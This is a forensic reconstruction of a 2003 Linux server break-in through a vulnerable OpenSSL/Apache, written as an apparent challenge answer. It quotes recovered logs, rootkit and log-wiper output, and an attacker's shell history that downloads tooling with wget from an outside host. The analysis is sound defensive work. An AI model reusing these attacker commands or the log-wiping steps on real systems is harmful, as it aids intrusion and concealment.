9. How and from where was the system likely compromised?

The system was likely compromised from Romania, from the IP address 213.154.118.219. We also find tracks of 'extreme-service-10.is.pcnet.ro' (which resolves to 213.154.118.218).

Let's see how the thing happened (the way I managed to reconstruct the sequence of events from the evidence left or recovered):

 

The machine was most likely compromised with an Apache/openssl exploit, most likely the one described at:
http://www.counterpane.com/alert-i20020915-001.html

In the recovered Apache's 'ERROR_LOG' (that had been deleted) we can read:

[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)

We know then that older versions of openssl which were vulnerable to a well-known buffer overflow were simply not logging anything.
New, patched version do write error like the ones we see, containing "mod_ssl: SSL handshake failed".

We read in the advisory at counterpane: http://www.counterpane.com/alert-i20020915-001.html[...]

If the exploit is launched against a patched Apache/mod-SSL system, the following log messages may be present:

[error] SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page
[error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request [Hint: speaking HTTP to HTTPS port!?]

The exact format may vary from system to system, but the error messages are expected to contain the phrase "SSL handshake failed" and a reference to an OpenSSL library error. Again, these messages are generated by the patched OpenSSL code and indicate that the exploit attempt was unsuccessful.

[...]

 

But we also read in the advisory at counterpane that [...] there may be variants of the exploit in circulation. [...]

 

Vulnerable versions of openssl are indeed present on redhat 7.2 (http://rhn.redhat.com/errata/RHSA-2002-155.html)
As we see in the ERRATA document, for redhat linux 7.2 the patched version is 'openssl-perl-0.9.6b-24' while on the machine we find with a

#rpm -qa |grep openssl

openssl-0.9.6b-8

which seems older, thus we assume also vulnerable.


In fact, ONE minute after that we can read in the recovered 'messages' syslog file:

Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key.
Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
Aug 10 13:33:56 localhost smbd -D[3225]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed
Aug 10 13:33:57 localhost syslogd 1.4.1: restart.
Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost kernel: klogd 1.4.1, log source = /proc/kmsg started.
Aug 10 13:33:57 localhost kernel: Inspecting /boot/System.map-2.4.7-10
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:57 localhost kernel: Loaded 15046 symbols from /boot/System.map-2.4.7-10.
Aug 10 13:33:57 localhost kernel: Symbols match kernel version 2.4.7.
Aug 10 13:33:57 localhost kernel: Loaded 371 symbols from 10 modules.
Aug 10 13:33:57 localhost kernel: (swapd) uses obsolete (PF_INET,SOCK_PACKET)
Aug 10 13:33:57 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 13:33:57 localhost kernel: device eth0 entered promiscuous mode
Aug 10 13:33:57 localhost kernel: NET4: Linux IPX 0.47 for NET4.0
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 1995 Caldera, Inc.
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 2000, 2001 Conectiva, Inc.
Aug 10 13:33:57 localhost kernel: NET4: AppleTalk 0.18a for Linux NET4.0

 

Syslog is restarted! (because the log files are deleted! - remember that we've seen 'messages -> /dev/null' ?)

smdb tries to start on port 2003!
kernel calls make use of /proc/kmsg! System.map !
the NIC enters promiscuos mode!

It's now clear that the hacker has installed a rootkit (to hide his presence manipulating the kernel) and set up a sniffer! He also used a modified Samba version which is indeed an SSH shell ! (see also Answer N.5)

 

Moreover, if we watch the "strange" directory /lib/.x :
some files are owned by user apache, which means most likely he got in with an apache exploit.
In fact, having exploited openssl, the attacker was given the priviledge of the apache web server, thus those of user 'apache'.
He might have then used another trick to elevate his privileges to root.

The timestamps of the files owned by apache don't match the expected time, but they might be the modification date/times of the files extracted from an archive that has then been deleted. I am not sure about this. I actually DID recoved some more files but I don't know exactly what they are (see my issues with binary analysis in Answer N.8)... and they contain references to various strings, including file names of attack tools: 'vanish2.tgz' (which I was then able to fnd on packetstorm).
This makes the possibility of the extraction from a file more likely to be true.


Moreover in the recovered files there is mention of other strings such as the commands (ps, netstat, ifconfig, etc) that have been replaced....
to me it looks like a log of an ftp session, maybe to the attacker's repository (but it might be something else).

As for Answer N.8, I do still lack the ability to perform a good forensics on files, to understand what they are or what they do.

Still, I also find interserting another string present: 'gustavo__.log.1u2' ....is Gustavo the name of the attacker, maybe ?

Anyway, I link them here: (beware that they MIGHT potentially be dangerous, since I have not determined their 'nature', or 'file type')

File1
File2


Anyway, all the new files after the priviledge excalation (thus, owned by root) have timestamp aroud 13:32, that is the time of the hack.
This is very clear in hide.log that is most likely the output file of the 'hide' command, started as 'apache' and ended as 'root'.

 

ls -la /lib/.x

 

total 172
drwxr-xr-x 3 root root 4096 Aug 10 15:32 .
drwxr-xr-x 8 root root 4096 Aug 10 15:32 ..
-rwxr-xr-x 1 apache apache 1223 Mar 20 15:53 .boot
-rwxr-xr-x 1 apache apache 17931 Jan 8 2003 cl
-rwxr-xr-x 1 apache apache 303 Dec 23 2002 hide
-rw-r--r-- 1 root root 222 Aug 10 15:32 hide.log
-rwxr-xr-x 1 apache apache 59137 Mar 22 09:00 inst
-rw-r--r-- 1 root root 2442 Aug 10 15:32 install.log

-rw-r--r-- 1 root root 1 Aug 10 15:32 ip
-rwxr-xr-x 1 apache apache 25795 Jan 8 2003 log
drwxrwxrwx 2 root root 4096 Aug 10 15:32 s
-rwxr-xr-x 1 root root 28632 Aug 10 15:32 sk

 

some of these files are owned by user apache, which means the first break in has been exploiting the apache server, so that the attacker gained a shell as user apache.
he was then able to connect to an ftp site, download some other stuff, gain root privileges and install a rootkit.


I have copied the files out of the box on a floppy, and used them on another disponsable, disconnected machine, just to see what they were doing, thus using an HIGHLY risky, not very scientifical, but effective technique.
You can also do it if you have a DISCONNECTED machine you can afford to wipe and reinstall after the analisys. VMWare makes this even easier.

 

We see that 'cl' is a log-wiper:

 

Die Putze 0.6 - The ultimate unix logfile cleaner...

asciifile options:
-s <string> - removes string from logfiles.
-f <file> <string> - removes string from file.

utmp options:
-u <username> - removes username from utmp.
-u <username> <tty> - removes user on given tty.

wtmp options:
-w <username> - removes last entry from wtmp.
-w <username> <tty> - removes last entry on given tty.
-ww <username> - removes all entries for username.

lastlog options:
-l <username> - removes username lastlog entry.

misc options:
-h - to get this!

Report bugs to <genius@h07.org>.

 

./inst is a sort of installer that 'prepares' the field for the installation of the SucKIT root kit, which is installed via ./sk.

 

./inst

Your home is /lib/.x, go there and type ./sk to install
Have phun!

 

./sk

#####################################################
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####################################################

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]

 

So this was to see what the files do (I say it one more time, I run them on a disponsable system, not on the one being analyzed!)


Let's go back and let's follow again the trail left in the logs...

These are most likely the following hacker's actions:

 

Aug 10 14:13:47 localhost sshd: sshd -TERM failed
Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:14:42 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:14:44 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:14:52 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:17 localhost smbd -D[5505]: fatal: Connection closed by remote host.
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
Aug 10 14:17:51 localhost smbd -D[8935]: log: Connection from 213.154.118.218 port 2022
Aug 10 14:17:52 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:53 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:18:00 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:24 localhost smbd -D[8935]: fatal: Connection closed by remote host.

He set up and tested the functionality of the SSH daemons discussed in Answer N.5 and following.

And then:

Aug 10 15:30:30 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:30:30 localhost modprobe: modprobe: Can't locate module ppp0
Aug 10 15:32:16 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:52:09 localhost smbd -D[14568]: error: bind: Address already in use
Aug 10 15:52:09 localhost smbd -D[14568]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:10 localhost httpd: httpd shutdown succeeded
Aug 10 15:52:11 localhost smbd -D[14629]: error: bind: Address already in use
Aug 10 15:52:11 localhost smbd -D[14629]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:12 localhost httpd: fopen: No such file or directory
Aug 10 15:52:12 localhost httpd: httpd: could not open error log file /etc/httpd/logs/error_log.
Aug 10 15:52:12 localhost httpd: httpd startup failed
Aug 10 15:54:18 localhost smbd -D[14663]: error: bind: Address already in use
Aug 10 15:54:18 localhost smbd -D[14663]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:54:18 localhost httpd: httpd shutdown failed

He set up a sniffer, and tampered some more with SSH daemons (setting up mltible backdoors leads me to think he wanted to mantain control over the box, in the case only some of them being detected by us, leaving him other possible accesses).

 

Our attacker must then, at one stage, have realized that his script to wipe the logs was just a generic one, and that what he was typing in the shell was also logged....
So he sent the link '.bash_history' that was in /root to /dev/null at 15:30:

total 52
drwxr-x--- 5 root root 4096 Aug 10 15:50 .
drwxr-xr-x 18 root root 4096 Aug 10 15:54 ..
-rw-r--r-- 1 root root 1257 Jul 14 13:55 anaconda-ks.cfg
lrwxrwxrwx 1 root root 9 Aug 10 15:30 .bash_history -> /dev/null
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
drwx------ 2 root root 4096 Aug 6 11:13 .links
drwx------ 2 root root 4096 Aug 6 11:51 .ssh
drwxrwxr-x 2 500 500 4096 Aug 10 15:54 sslstop
-rw-r--r-- 1 root root 1627 Jul 4 14:09 sslstop.tar.gz
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources

 

So he stops "getting logged" at 15:54 (last timestamp of .bash_history). This is some time later. Most likely he logged off and back on. He only changed the link in the /root directory, but the file was in / so it stayed open for the current session.
The content of .bash_history shows the following commands:

 

id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302

Which confirms to us his previous actions.

 

So we can see apache getting killed at 15:54 , last command that we have logged on .bash_history.

It is possible that other commands were being issued already from another shell, and not logged.

Anyway we find at the same time in /var/log/messages (recovered, it was one of the deleted files):

Aug 10 15:54:18 localhost httpd: httpd shutdown failed

as called by the sslstop program found in /root, extracted the very same minute (a matter of seconds earlier) from an archive previously downloaded from izolam.net:

drwxrwxr-x 2 500 500 4096 Aug 10 15:54 sslstop
-rw-rw-r-- 1 500 500 2794 Aug 10 15:54 sslport.c

sslstop would stop apache, and change the ports it uses (to make them available to other backdoors, as we've seen for port 80 in Answer N.5).
I suppose that apache had already crashed when using it to get access to the box in the first place. So, httpd shutdown failed.
the hacker indeed changed httpd.conf, as we can see in its config file (same timestamp) is not listening to any more port:

-rw-r--r-- 1 root root 50851 Aug 10 15:54 httpd.conf

 

 

About other actions, we see from the timestamps that rc.sysint has been modified at 15:30:

-rwxr-xr-x 1 root root 20991 Aug 10 15:30 rc.sysinit

 

And in a log left by the attacker itself (maybe they will reconsider installing sniffers next time!) we can read his connections to an FTP server (port 21):

============================================================
Time: Sun Aug 10 15:40:47 Size: 100
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------
[...]

 

 

Our .bash_history file gets written last time at 15:54:

ls -la /

total 160
drwxr-xr-x 18 root root 4096 Aug 10 15:54 .
drwxr-xr-x 18 root root 4096 Aug 10 15:54 ..
-rw-r--r-- 1 root root 0 Aug 9 14:34 .autofsck
-rw------- 1 root root 235 Aug 10 15:54 .bash_history
drwxr-xr-x 2 root root 4096 Aug 10 13:33 bin
drwxr-xr-x 3 root root 4096 Jul 16 10:28 boot
drwxr-xr-x 18 root root 77824 Aug 10 15:30 dev
drwxr-xr-x 31 root root 4096 Aug 10 20:51 etc
drwxr-xr-x 2 root root 4096 Feb 6 1996 home
drwxr-xr-x 2 root root 4096 Jun 21 2001 initrd
drwxr-xr-x 8 root root 4096 Aug 10 15:32 lib
drwxr-xr-x 2 root root 16384 Jul 14 13:52 lost+found
drwxr-xr-x 4 root root 4096 Jul 14 20:56 mnt
drwxr-xr-x 2 root root 4096 Aug 23 1999 opt
dr-xr-xr-x 51 root root 0 Aug 9 07:34 proc
drwxr-x--- 5 root root 4096 Aug 10 15:50 root
drwxr-xr-x 2 root root 4096 Aug 10 13:33 sbin
drwxrwxrwt 2 root root 4096 Aug 10 16:01 tmp
drwxr-xr-x 15 root root 4096 Jul 14 13:53 usr
drwxr-xr-x 17 root root 4096 Jul 14 13:54 var

 

two minutes after we have a login and logout of root:

 

Aug 10 15:56:11 localhost su(pam_unix)[14689]: session opened for user root by (uid=0)
Aug 10 16:03:01 localhost su(pam_unix)[14689]: session closed for user root
Aug 10 16:04:38 localhost telnetd[15169]: ttloop: peer died: EOF

 

After 16:00, we can reconstruct from the timestamps (see files modified at 16:xx) that the attcker has installed psyBNC, and started using it for the follwing couple of hours.

he provides us with his own logs of connections (psybnc.log) to see this:

Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)

 

 

 

We are now roughly at the time when the machine was found to be hacked, and suspended, I suppose.
When we start the machine, the following commands shows the current time (roughly two hours later):

 

date

Sun Aug 10 20:29:20 PDT 2003

 

 

 Previous  To answer N.10 (Bonus question) --> What nationality do you believe the attacker(s) to be, and why?

 Home